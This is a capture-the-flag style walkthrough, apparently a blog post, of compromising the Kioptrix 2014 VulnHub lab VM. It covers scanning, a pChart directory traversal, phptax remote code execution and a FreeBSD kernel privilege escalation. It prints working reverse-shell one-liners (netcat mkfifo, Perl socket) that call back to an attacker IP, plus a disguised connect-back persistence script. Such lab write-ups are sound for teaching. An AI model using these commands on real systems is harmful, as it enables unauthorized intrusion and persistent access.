Kioptrix: 2014
15 Apr 2019 | WalkthroughsVulnHub URL: https://www.vulnhub.com/entry/kioptrix-2014-5,62/
Hostname: kioptrix2014
IP Address: 10.183.0.205
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.205.
NOTE: I had to remove and re-add the network adapter on the VM to get DHCP to work properly.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/kioptrix2014# nmap -Pn -sT -sV -A -oA kioptrix2014 -p 1-65535 10.183.0.205
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-17 14:01 EDT
Nmap scan report for kioptrix2014.homenet.dom (10.183.0.205)
Host is up (0.0036s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:8D:66:A6 (VMware)
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): FreeBSD 9.X|10.X|7.X|8.X|6.X (93%), AVtech embedded (91%), Linux 2.6.X (90%)
OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:10 cpe:/o:linux:linux_kernel:2.6 cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:freebsd:freebsd:6.2 cpe:/a:nas4free:nas4free cpe:/o:freebsd:freebsd:10.2
Aggressive OS guesses: FreeBSD 9.0-RELEASE - 10.3-RELEASE (93%), AVtech Room Alert 26W environmental monitor (91%), Linux 2.6.18 - 2.6.22 (90%), FreeBSD 7.0-RELEASE - 9.0-RELEASE (88%), FreeBSD 7.0-RELEASE (87%), FreeBSD 7.1-PRERELEASE 7.2-STABLE (87%), FreeBSD 9.3-RELEASE (86%), FreeBSD 8.1-RELEASE (86%), FreeBSD 8.0-RELEASE (85%), FreeBSD 9.1-RELEASE or 10.1-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 3.65 ms kioptrix2014.homenet.dom (10.183.0.205)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.30 seconds
Gaining Access
Let's start by checking out each of the HTTP services on TCP port 80 and TCP port 8080.
Connections to the default site for the HTTP service on TCP port 8080 just return a 403 Forbidden error.
Connections to the default site for the HTTP service on TCP port 80 return a page saying "It works!". Viewing the source code for the returned page, we see a comment in the header.
When browsing to the URL specified, we are redirected to: http://10.183.0.205/pChart2.1.3/examples/index.php.
Searching the exploit database, it appears we have a known vulnerability (Directory Traversal and Reflected XSS) with this specific version of pChart.
pChart 2.1.3 - Multiple Vulnerabilities | exploits/php/webapps/31173.txt
Testing the Directory Traversal proof-of-concept (PoC) code in the exploit, we can confirm the site is vulnerable.
http://10.183.0.205/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd returns
Let's see what else we can find out about the web service.
We run nikto...
root@kali:~/Walkthroughs/kioptrix2014# nikto -h http://10.183.0.205
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.183.0.205
+ Target Hostname: 10.183.0.205
+ Target Port: 80
+ Start Time: 2019-04-17 14:18:50 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q
DAV/2
PHP/5.3.8
+ Server may leak inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.3.8 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 8724 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2019-04-17 14:20:36 (GMT-4) (106 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
There are lots of old vulnerable pieces of software on the server, but none that seem to give remote access.
Let's see if we can use our directory traversal vulnerability to find the Apache configuration file. Google should be able to help with this. I'll search "freebsd apache install path" and the first result takes me here: https://www.freebsd.org/doc/handbook/network-apache.html
The page tells me:
So, let's try /usr/local/etc/apache22/httpd.conf...
That works! Let's see how things are configured and where other interesting files might be.
At the bottom of the file, we find an interesting Allow directive for the HTTP service on TCP port 8080.
It looks like all we have to do to access the service is change our browser's User-Agent to start with 'Mozilla/4.0'. That's easy enough to do in Chrome...
Developer Tools -> ... (vertically in menu on right) -> More tools -> Network conditions
Now when we load http://10.183.0.205:8080/ we are granted access. 😄
We have a single link on the page for /phptax. Clicking that, we are taken to a page that renders a tax form. Let's search the exploit database for 'phptax'.
root@kali:~/Walkthroughs/kioptrix2014# searchsploit phptax
------------------------------------------------------------------------------------------------------------- ------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ------------------------------------
PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit) | exploits/php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote Code Execution | exploits/php/webapps/25849.txt
phptax 0.8 - Remote Code Execution | exploits/php/webapps/21665.txt
------------------------------------------------------------------------------------------------------------- ------------------------------------
Shellcodes: No Result
Taking a look at 21665.txt, it looks like we can start a reverse shell by making a specially crafted request to /phptax/drawimage.php.
I go ahead and set up my listeners in Metasploit. I prefer to start two listeners and start a second shell right after the first one comes up.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433
Now it's time to try our exploit... passing the following reverse shell code (URL encoded).
nc -e /bin/sh 10.183.0.222 5432
But nothing happens... Many times netcat is configured to not allow the -e option. Let's try doing a reverse shell just using netcat + pipes.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5432 >/tmp/f
Works! 😄 We connect to the session and start our second shell before the other one times out.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.205:24804) at 2019-04-17 18:21:34 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/usr/local/www/apache22/data2/phptax
$ id
uid=80(www) gid=80(www) groups=80(www)
$ perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.205:25766) at 2019-04-17 18:21:58 -0400
Maintaining Access
Since SSH is open on the victim, I checked to see if the www user has a default home directory and shell defined.
$ grep `whoami` /etc/passwd
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
The home directory doesn't exists, and the default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes. I placed the script in the /usr/local/www/apache22/data2/phptax/pictures directory and called it 'thumbs'.
$ cd pictures
$ cat <<EOF > thumbs
#!/bin/sh
while true; do
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5432 >/tmp/f
# sleep for 300 seconds (5 mins)
sleep 300
done
EOF
$ chmod +x thumbs
$ ./thumbs &
With the script now running in the background, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
Privilege Escalation
Looks like the victim is running FreeBSD 9.0.
$ uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
Searching the exploit database, it appears we have some good candidates for privilege escalation.
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | exploits/freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | exploits/freebsd/local/28718.c
FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation | exploits/freebsd/local/26368.c
I make a copy of the 28718.c exploit code in my working directory. To get our exploit to the victim we are going to use python's SimpleHTTPServer.
root@kali:~/Walkthroughs/kioptrix2014# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
Since our FreeBSD system doesn't have curl or wget, we have to use fetch to retrieve our exploit from our attacking system. Once we have that, we just have to compile and run it.
$ cd /tmp
$ fetch -o 28718.c http://10.183.0.222:4321/28718.c
$ gcc -o pwn 28718.c
28718.c:178:2: warning: no newline at end of file
$ ./pwn
[+] SYSRET F___UP!!
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
$ id
uid=0(root) gid=0(wheel) groups=0(wheel)
POP!
Pivoting
N/A
Clean Up
*** STOP /usr/local/www/apache22/data2/phptax/pictures/thumbs ***
*** REMOVE /usr/local/www/apache22/data2/phptax/pictures ***
*** REMOVE 28718.c and pwn from /tmp ***
Additional Info
congrats.txt
There is a congrats.txt file in the /root directory to pat us on the back.
$ cd /root
$ cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...
Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can't enjoy them.
As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks.
For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.
As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)
The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.
Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.
Be good...
loneferret
http://www.kioptrix.com
p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part :)